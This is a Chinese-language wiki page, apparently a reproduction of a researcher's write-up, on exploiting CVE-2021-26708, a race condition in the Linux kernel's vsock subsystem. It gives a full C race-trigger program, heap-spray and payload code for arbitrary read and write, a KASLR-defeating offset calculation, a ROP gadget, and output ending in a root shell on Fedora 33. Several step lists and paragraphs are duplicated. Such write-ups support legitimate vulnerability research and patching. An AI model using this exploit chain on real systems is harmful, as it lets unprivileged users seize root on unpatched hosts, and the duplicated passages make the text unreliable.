# CVE-2021-26708 Linux kernel before 5.10.13 特權提升漏洞/he
== פגיעות ==
這些漏洞是由
net/vmw_vsock/af_vsock.c
中的錯誤鎖定引起的條件競爭。這些條件競爭是在2019年11月添加VSOCK多傳輸支持的提交中隱式引入的,並被合併到Linux內核5.5-rc1版本中。CONFIG_VSOCKETS
和CONFIG_VIRTIO_VSOCKETS
在所有主要的GNU/Linux發行版中都作為內核模塊提供。當你為AF_VSOCK域創建一個套接字時,這些易受攻擊的模塊會自動加載。vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
AF_VSOCK
套接字的創建對非特權用戶來說是可用的,並不需要用戶名空間。 ==內存破壞==
下面詳細介紹CVE-2021-26708的利用,利用了
vsock_stream_etssockopt()
中的條件競爭,復現需要兩個線程,第一個線程調用setsockopt()
:setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE, &size, sizeof(unsigned long));
第二個線程在
vsock_stream_etssockopt()
試圖獲取套接字鎖時改變虛擬套接字傳輸,通過重新連接虛擬套接字實現:struct sockaddr_vm addr = { .svm_family = AF_VSOCK, }; addr.svm_cid = VMADDR_CID_LOCAL; connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm)); addr.svm_cid = VMADDR_CID_HYPERVISOR; connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
為了處理虛擬套接字的
connect()
,內核執行調用vsock_assign_transport()
的vsock_stream_connect()
。這個函數包含如下代碼:if (vsk->transport) { if (vsk->transport == new_transport) return 0; /* transport->release() must be called with sock lock acquired. * This path can only be taken during vsock_stream_connect(), * where we have already held the sock lock. * In the other cases, this function is called on a new socket * which is not assigned to any transport. */ vsk->transport->release(vsk); vsock_deassign_transport(vsk); }
vsock_stream_connect()
包含套接字鎖,並行線程中的vsock_stream_setsockopt()
也嘗試獲取它,構成條件競爭。因此,當用不同的svm_cid
進行第二次connect()
時,vsock_deassign_transport()
函數被調用。該函數執行virtio_transport_destruct()
,釋放vsock_sock.trans
,vsk->transport
被設置為NULL。當vsock_stream_connect()
釋放套接字鎖時,vsock_stream_setsockopt()
可以繼續執行。它調用vsock_update_buffer_size()
,隨後調用transport->notify_buffer_size()
。這裡transport包含一個來自本地變量的過時的值,與vsk->transport
不匹配(本因被設為NULL)。 內核執行
virtio_transport_notify_buffer_size()
,出現內存破壞:void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val) { struct virtio_vsock_sock *vvs = vsk->trans; if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE) *val = VIRTIO_VSOCK_MAX_BUF_SIZE; vvs->buf_alloc = *val; virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL); }
這裡,vvs是指向內核內存的指針,它已經在
virtio_transport_destruct()
中被釋放。 struct virtio_vsock_sock
的大小為64字節,位於kmalloc-64塊緩存中。 buf_alloc字段類型為u32,位於偏移量40。 VIRTIO_VSOCK_MAX_BUF_SIZE是0xFFFFFFFFUL
。 *val的值由攻擊者控制,它的四個最不重要的字節被寫入釋放的內存中。 ==模糊測試==
syzkaller fuzzer沒有辦法重現這個崩潰,於是我決定自行研究。但為什麼fuzzer會失敗呢?觀察
vsock_update_buffer_size()
有所發現:if (val != vsk->buffer_size && transport && transport->notify_buffer_size) transport->notify_buffer_size(vsk, &val); vsk->buffer_size = val;
只有當val與當前的buffer_size不同時,才會調用
notify_buffer_size()
,也就是說setsockopt()
執行SO_VM_SOCKETS_BUFFER_SIZE
時,每次調用的size參數都應該不同。於是我構建了相關代碼:/* * AF_VSOCK vulnerability trigger. * It's a PoC just for fun. * Author: Alexander Popov. */ #include #include #include #include #include #include #define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0) #define MAX_RACE_LAG_USEC 50 int vsock = -1; int tfail = 0; pthread_barrier_t barrier; int thread_sync(long lag_nsec) { int ret = -1; struct timespec ts0; struct timespec ts; long delta_nsec = 0; ret = pthread_barrier_wait(&barrier); if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) { perror("[-] pthread_barrier_wait"); return EXIT_FAILURE; } ret = clock_gettime(CLOCK_MONOTONIC, &ts0); if (ret != 0) { perror("[-] clock_gettime"); return EXIT_FAILURE; } while (delta_nsec < lag_nsec) { ret = clock_gettime(CLOCK_MONOTONIC, &ts); if (ret != 0) { perror("[-] clock_gettime"); return EXIT_FAILURE; } delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 + ts.tv_nsec - ts0.tv_nsec; } return EXIT_SUCCESS; } void *th_connect(void *arg) { int ret = -1; long lag_nsec = *((long *)arg) * 1000; struct sockaddr_vm addr = { .svm_family = AF_VSOCK, }; ret = thread_sync(lag_nsec); if (ret != EXIT_SUCCESS) { tfail++; return NULL; } addr.svm_cid = VMADDR_CID_LOCAL; connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm)); addr.svm_cid = VMADDR_CID_HYPERVISOR; connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm)); return NULL; } void *th_setsockopt(void *arg) { int ret = -1; long lag_nsec = *((long *)arg) * 1000; struct timespec tp; unsigned long size = 0; ret = thread_sync(lag_nsec); if (ret != EXIT_SUCCESS) { tfail++; return NULL; } clock_gettime(CLOCK_MONOTONIC, &tp); size = tp.tv_nsec; setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE, &size, sizeof(unsigned long)); return NULL; } int main(void) { int ret = -1; unsigned long size = 0; long loop = 0; pthread_t th[2] = { 0 }; vsock = socket(AF_VSOCK, SOCK_STREAM, 0); if (vsock == -1) err_exit("[-] open vsock"); printf("[+] AF_VSOCK socket is opened\n"); size = 1; setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE, &size, sizeof(unsigned long)); size = 0xfffffffffffffffdlu; setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE, &size, sizeof(unsigned long)); ret = pthread_barrier_init(&barrier, NULL, 2); if (ret != 0) err_exit("[-] pthread_barrier_init"); for (loop = 0; loop < 30000; loop++) { long tmo1 = 0; long tmo2 = loop % MAX_RACE_LAG_USEC; printf("race loop %ld: tmo1 %ld, tmo2 %ld\n", loop, tmo1, tmo2); ret = pthread_create(&th[0], NULL, th_connect, &tmo1); if (ret != 0) err_exit("[-] pthread_create #0"); ret = pthread_create(&th[1], NULL, th_setsockopt, &tmo2); if (ret != 0) err_exit("[-] pthread_create #1"); ret = pthread_join(th[0], NULL); if (ret != 0) err_exit("[-] pthread_join #0"); ret = pthread_join(th[1], NULL); if (ret != 0) err_exit("[-] pthread_join #1"); if (tfail) { printf("[-] some thread got troubles\n"); exit(EXIT_FAILURE); } } ret = close(vsock); if (ret) perror("[-] close"); printf("[+] now see your warnings in the kernel log\n"); return 0; }
這裡的size值取自
clock_gettime()
返回的納秒數,每次都可能不同。原始的syzkaller不會這麼處理,因為在syzkaller生成 fuzzing輸入時,syscall參數的值被確定,執行時不會改變。 ==四字節的力量==
這裡我選擇Fedora 33 Server作為研究目標,內核版本為5.10.11-200.fc33.x86_64,並決心繞過SMEP和SMAP。
第一步,我開始研究穩定的堆噴射,該漏洞利用執行用戶空間的活動,使內核在釋放的virtio_vsock_sock的位置分配另一個64字節的對象。經過幾次實驗性嘗試後,確認釋放的virtio_vsock_sock被覆蓋,說明堆噴射是可行的。最終我找到了msgsnd() syscall。它在內核空間中創建了struct msg_msg,見pahole輸出:
struct msg_msg { struct list_head m_list; /* 0 16 */ long int m_type; /* 16 8 */ size_t m_ts; /* 24 8 */ struct msg_msgseg * next; /* 32 8 */ void * security; /* 40 8 */ /* size: 48, cachelines: 1, members: 5 */ /* last cacheline: 48 bytes */ };
前面是消息頭,後面是消息數據。如果用戶空間中的struct msgbuf有一個16字節的mtext,則會在kmalloc-64塊緩存中創建相應的msg_msg。 4字節的write-after-free會破壞偏移量40的void *security指針。 msg_msg.security字段指向由lsm_msg_msg_alloc()分配的內核數據,當收到 msg_msg時,就會被security_msg_msg_free()釋放。因此,破壞security指針的前半部分,就能獲得 arbitrary free。
==內核信息洩露==
這裡使用了[https://www.pwnwiki.org/index.php?title=CVE-2019-18683_Linux_kernel_through_5.3.8_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E CVE-2019-18683]相同的技巧。虛擬套接字的第二個connect()調用
vsock_deassign_transport()
,將vsk->transport
設置為NULL,使得vsock_stream_setsockopt()
在內存崩潰後調用virtio_transport_send_pkt_info()
,出現內核告警:WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34 ... CPU: 1 PID: 6739 Comm: racer Tainted: G W 5.10.11-200.fc33.x86_64 #1 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014 RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common] ... RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246 RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80 RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0 RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000 R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008 R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0 FS: 00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0 Call Trace: virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common] vsock_update_buffer_size+0x5f/0x70 [vsock] vsock_stream_setsockopt+0x128/0x270 [vsock] ...
通過gdb調試,發現RCX寄存器包含了釋放的virtio_vsock_sock的內核地址,RBX寄存器包含了vsock_sock的內核地址。
==實現任意讀==
===從 arbitrary free 到 use-after-free===
從洩露的內核地址釋放一個對象
執行堆噴,用受控數據覆蓋該對象
使用損壞的對象進行權限升級
內核實現的System V消息有限制最大值DATALEN_MSG,即PAGE_SIZE減去sizeof(struct msg_msg))。如果你發送了更大的消息,剩餘的消息會被保存在消息段的列表中。 msg_msg中包含struct msg_msgseg *next用於指向第一個段,size_t m_ts用於存儲大小。當進行覆蓋操作時,就可以把受控的值放在msg_msg.m_ts和msg_msg.next中:
執行堆噴,用受控數據覆蓋該對象
使用損壞的對象進行權限升級
內核實現的System V消息有限制最大值DATALEN_MSG,即PAGE_SIZE減去sizeof(struct msg_msg))。如果你發送了更大的消息,剩餘的消息會被保存在消息段的列表中。 msg_msg中包含struct msg_msgseg *next用於指向第一個段,size_t m_ts用於存儲大小。當進行覆蓋操作時,就可以把受控的值放在msg_msg.m_ts和msg_msg.next中:
![](/static/pwnwiki/img/T01a51dfe7a996e854c.png )
Payload:
#define PAYLOAD_SZ 40 void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr) { struct msg_msg *msg_ptr; xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ; /* Don't touch the second part to avoid breaking page fault delivery */ memset(spray_data, 0xa5, PAGE_SIZE * 4); printf("[+] adapt the msg_msg spraying payload:\n"); msg_ptr = (struct msg_msg *)xattr_addr; msg_ptr->m_type = 0x1337; msg_ptr->m_ts = ARB_READ_SZ; msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */ printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n", msg_ptr, msg_ptr->m_type, &(msg_ptr->m_type), msg_ptr->m_ts, &(msg_ptr->m_ts), msg_ptr->next, &(msg_ptr->next)); }
但是如何使用msg_msg讀取內核數據呢?通過閱讀msgrcv()系統調用文檔,我找到了好解決方案,使用msgrcv()和MSG標誌:
MSG_COPY (since Linux 3.8) Nondestructively fetch a copy of the message at the ordinal position in the queue specified by msgtyp (messages are considered to be numbered starting at 0).
這個標誌使內核將消息數據複製到用戶空間,不從消息隊列中刪除。如果內核有CONFIG_CHECKPOINT_RESTORE=y,則MSG是可用的,在Fedora Server適用。
===任意讀的步驟===
準備工作:
使用sched_getaffinity()和CPU_COUNT()計算可用的CPU數量(該漏洞至少需要兩個);
打開/dev/kmsg進行解析;
mmap()將spray_data內存區域配置userfaultfd()作為最後一部分;
啟動一個單獨的pthread來處理userfaultfd()事件;
啟動127個threads用於msg_msg上的setxattr()&userfaultfd()堆噴射,並將它們掛在thread_barrier上;
獲取原始msg_msg的內核地址:
在虛擬套接字上進行條件競爭;
在第二個connect()後,在忙循環中等待35微秒;
調用msgsnd()來建立一個單獨的消息隊列;在內存破壞後,msg_msg對像被放置在virtio_vsock_sock位置;
解析內核日誌,從內核警告(RCX寄存器)中保存msg_msg的內核地址;
同時,從RBX寄存器中保存vsock_sock的內核地址;
使用損壞的 msg_msg對原始msg_msg執行任意釋放:
使用原始 msg_msg地址的4個字節作為 SO_VM_SOCKETS_BUFFER_SIZE,用於實現內存破壞;
在虛擬套接字上進行條件競爭;
在第二個connect()之後馬上調用msgsnd();msg_msg被放置在virtio_vsock_sock的位置,實現破壞;
現在被破壞的msg_msg的security指針存儲原始msg_msg的地址(來自步驟2);
使用sched_getaffinity()和CPU_COUNT()計算可用的CPU數量(該漏洞至少需要兩個);
打開/dev/kmsg進行解析;
mmap()將spray_data內存區域配置userfaultfd()作為最後一部分;
啟動一個單獨的pthread來處理userfaultfd()事件;
啟動127個threads用於msg_msg上的setxattr()&userfaultfd()堆噴射,並將它們掛在thread_barrier上;
獲取原始msg_msg的內核地址:
在虛擬套接字上進行條件競爭;
在第二個connect()後,在忙循環中等待35微秒;
調用msgsnd()來建立一個單獨的消息隊列;在內存破壞後,msg_msg對像被放置在virtio_vsock_sock位置;
解析內核日誌,從內核警告(RCX寄存器)中保存msg_msg的內核地址;
同時,從RBX寄存器中保存vsock_sock的內核地址;
使用損壞的 msg_msg對原始msg_msg執行任意釋放:
使用原始 msg_msg地址的4個字節作為 SO_VM_SOCKETS_BUFFER_SIZE,用於實現內存破壞;
在虛擬套接字上進行條件競爭;
在第二個connect()之後馬上調用msgsnd();msg_msg被放置在virtio_vsock_sock的位置,實現破壞;
現在被破壞的msg_msg的security指針存儲原始msg_msg的地址(來自步驟2);
![](/static/pwnwiki/img/T01a2a2d47c9494c4a5.png )
如果在處理 msgsnd() 的過程中發生了來自 setsockopt()線程的 msg_msg.security內存損壞,進而SELinux權限檢查失敗;
在這種情況下,msgsnd()返回-1,損壞的msg_msg被銷毀;釋放msg_msg.security可以釋放原始msg_msg;
用一個可控的payload 覆蓋原始msg_msg:
msgsnd()失敗後,漏洞就會調用pthread_barrier_wait(),調用127個用於堆噴射的pthreads;
這些pthreads執行setxattr()的payload;
原始msg_msg被可控的數據覆蓋,msg_msg.next指針存儲vsock_sock對象的地址;
在這種情況下,msgsnd()返回-1,損壞的msg_msg被銷毀;釋放msg_msg.security可以釋放原始msg_msg;
用一個可控的payload 覆蓋原始msg_msg:
msgsnd()失敗後,漏洞就會調用pthread_barrier_wait(),調用127個用於堆噴射的pthreads;
這些pthreads執行setxattr()的payload;
原始msg_msg被可控的數據覆蓋,msg_msg.next指針存儲vsock_sock對象的地址;
![](/static/pwnwiki/img/T0140baae964febb059.png )
通過從存儲被覆蓋的 msg_msg的消息隊列中接收消息,將vsock_sock內核對象的內容讀到用戶空間:
ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
==尋找攻擊目標==
以下是我找到的點:
1.專用的塊緩存,如PINGv6和sock_inode_cache有很多指向對象的指針
2.struct mem_cgroup *sk_memcg指針在vsock_sock.sk偏移量664處。 mem_cgroup結構是在kmalloc-4k塊緩存中分配的。
3.const struct cred *owner指針在vsock_sock.sk偏移量840處,存儲了可以覆蓋進行權限升級的憑證的地址。
4.void (*sk_write_space)(struct sock *)函數指針在vsock_sock.sk偏移量688處,被設置為sock_def_write_space()內核函數的地址。它可以用來計算KASLR偏移量。
1.專用的塊緩存,如PINGv6和sock_inode_cache有很多指向對象的指針
2.struct mem_cgroup *sk_memcg指針在vsock_sock.sk偏移量664處。 mem_cgroup結構是在kmalloc-4k塊緩存中分配的。
3.const struct cred *owner指針在vsock_sock.sk偏移量840處,存儲了可以覆蓋進行權限升級的憑證的地址。
4.void (*sk_write_space)(struct sock *)函數指針在vsock_sock.sk偏移量688處,被設置為sock_def_write_space()內核函數的地址。它可以用來計算KASLR偏移量。
下面是該漏洞如何從內存中提取這些指針:
#define SK_MEMCG_RD_LOCATION (DATALEN_MSG + SK_MEMCG_OFFSET) #define OWNER_CRED_OFFSET 840 #define OWNER_CRED_RD_LOCATION (DATALEN_MSG + OWNER_CRED_OFFSET) #define SK_WRITE_SPACE_OFFSET 688 #define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET) /* * From Linux kernel 5.10.11-200.fc33.x86_64: * function pointer for calculating KASLR secret */ #define SOCK_DEF_WRITE_SPACE 0xffffffff819851b0lu unsigned long sk_memcg = 0; unsigned long owner_cred = 0; unsigned long sock_def_write_space = 0; unsigned long kaslr_offset = 0; /* ... */ sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)]; printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n", sk_memcg, SK_MEMCG_RD_LOCATION); owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)]; printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n", owner_cred, OWNER_CRED_RD_LOCATION); sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)]; printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n", sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION); kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE; printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);
==在 sk_buff 上實現 Use-after-free==
Linux內核中與網絡相關的緩衝區用struct sk_buff表示,這個對像中有skb_shared_info與destructor_arg,可以用於控制流劫持。網絡數據和skb_shared_info被放置在由sk_buff.head指向的同一個內核內存塊中。因此,在用戶空間中創建一個2800字節的網絡數據包會使skb_shared_info被分配到kmalloc-4k塊緩存中,mem_cgroup對像也是如此。
我構建了以下步驟:
1.使用socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)創建一個客戶端套接字和32個服務器套接字
2.在用戶空間中準備一個2800字節的緩衝區,並用0x42對其memset()
3.用sendto()將這個緩衝區從客戶端套接字發送到每個服務器套接字,用於在kmalloc-4k中創建sk_buff對象。在每個可用的CPU上使用`sched_setaffinity()
4.對vsock_sock執行任意讀取過程
5.計算可能的sk_buff內核地址為sk_memcg加4096(kmalloc-4k的下一個元素)
6.對這個可能的sk_buff地址執行任意讀
7.如果在網絡數據的位置找到0x42424242424242lu,則找到真正的sk_buff,進入步驟8。否則,在可能的sk_buff地址上加4096,轉到步驟6
8.sk_buff上執行32個pthreads的setxattr()&userfaultfd()堆噴射,並把它們掛在pthread_barrier上
9.對sk_buff內核地址進行任意釋放
10.調用pthread_barrier_wait(),執行32個setxattr()覆蓋skb_shared_info的堆噴pthreads
11.使用recv()接收服務器套接字的網絡消息。
==通過skb_shared_info 進行任意寫==
以下是覆蓋sk_buff對象的有效payload:
#define SKB_SIZE 4096 #define SKB_SHINFO_OFFSET 3776 #define MY_UINFO_OFFSET 256 #define SKBTX_DEV_ZEROCOPY (1 << 3) void prepare_xattr_vs_skb_spray(void) { struct skb_shared_info *info = NULL; xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4; /* Don't touch the second part to avoid breaking page fault delivery */ memset(spray_data, 0x0, PAGE_SIZE * 4); info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET); info->tx_flags = SKBTX_DEV_ZEROCOPY; info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET; uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);
skb_shared_info駐留在噴射數據中,正好在偏移量SKB_SHINFO_OFFSET處,即3776字節。 skb_shared_info.destructor_arg指針存儲了struct ubuf_info的地址。因為被攻擊的sk_buff的內核地址是已知的,所以能在網絡緩衝區的MY_UINFO_OFFSET處創建了一個假的ubuf_info。下面是有效payload的佈局:
![](/static/pwnwiki/img/T0185ccbf9f025c74da.png )
下面講講destructor_arg 回調:
/* * A single ROP gadget for arbitrary write: * mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret * Here rdi stores uinfo_p address, rcx is 0, rsi is 1 */ uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset; uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */ uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */
由於在vmlinuz-5.10.11-200.fc33.x86_64中找不到一個能滿足我需求的gadget,所以我自己進行了研究構造。
callback函數指針存儲一個ROP gadget 地址,RDI存儲callback函數的第一個參數,也就是ubuf_info本身的地址,RDI + 8指向ubuf_info.desc。 gadget 將ubuf_info.desc移動到RDX。現在RDX包含有效用戶ID和組ID的地址減一個字節。這個字節很重要:當gadget從 RSI向 RDX指向的內存中寫入消息1時,有效的 uid和 gid將被零覆蓋。重複同樣的過程,直到權限升級到root。整個過程輸出流如下:
[a13x@localhost ~]$ ./vsock_pwn ================================================= ==== CVE-2021-26708 PoC exploit by a13xp0p0v ==== ================================================= [+] begin as: uid=1000, euid=1000 [+] we have 2 CPUs for racing [+] getting ready... [+] remove old files for ftok() [+] spray_data at 0x7f0d9111d000 [+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000 [+] fault_handler for uffd 38 is ready [+] stage I: collect good msg_msg locations [+] go racing, show wins: save msg_msg ffff9125c25a4d00 in msq 11 in slot 0 save msg_msg ffff9125c25a4640 in msq 12 in slot 1 save msg_msg ffff9125c25a4780 in msq 22 in slot 2 save msg_msg ffff9125c3668a40 in msq 78 in slot 3 [+] stage II: arbitrary free msg_msg using corrupted msg_msg kaddr for arb free: ffff9125c25a4d00 kaddr for arb read: ffff9125c2035300 [+] adapt the msg_msg spraying payload: msg_ptr 0x7f0d91120fd8 m_type 1337 at 0x7f0d91120fe8 m_ts 6096 at 0x7f0d91120ff0 msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8 [+] go racing, show wins: [+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11) [+] msgrcv returned 6096 bytes [+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem) [+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem) [+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem) [+] Calculated kaslr offset: 2a000000 [+] stage IV: search sprayed skb near sk_memcg... [+] checking possible skb location: ffff9125c42fa000 [+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg kaddr for arb free: ffff9125c25a4640 kaddr for arb read: ffff9125c42fa030 [+] adapt the msg_msg spraying payload: msg_ptr 0x7f0d91120fd8 m_type 1337 at 0x7f0d91120fe8 m_ts 6096 at 0x7f0d91120ff0 msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8 [+] go racing, show wins: 0 0 20 15 42 11 [+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12) [+] msgrcv returned 6096 bytes [+] found a real skb [+] stage V: try to do UAF on skb at ffff9125c42fa000 [+] skb payload: start at 0x7f0d91120004 skb_shared_info at 0x7f0d91120ec4 tx_flags 0x8 destructor_arg 0xffff9125c42fa100 callback 0xffffffffab64f6d4 desc 0xffff9125c3fd6e53 [+] go racing, show wins: 15 [+] stage VI: repeat UAF on skb at ffff9125c42fa000 [+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30 [+] finish as: uid=0, euid=0 [+] starting the root shell... uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
==視頻==
==參考==
https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
请登录后查看评论内容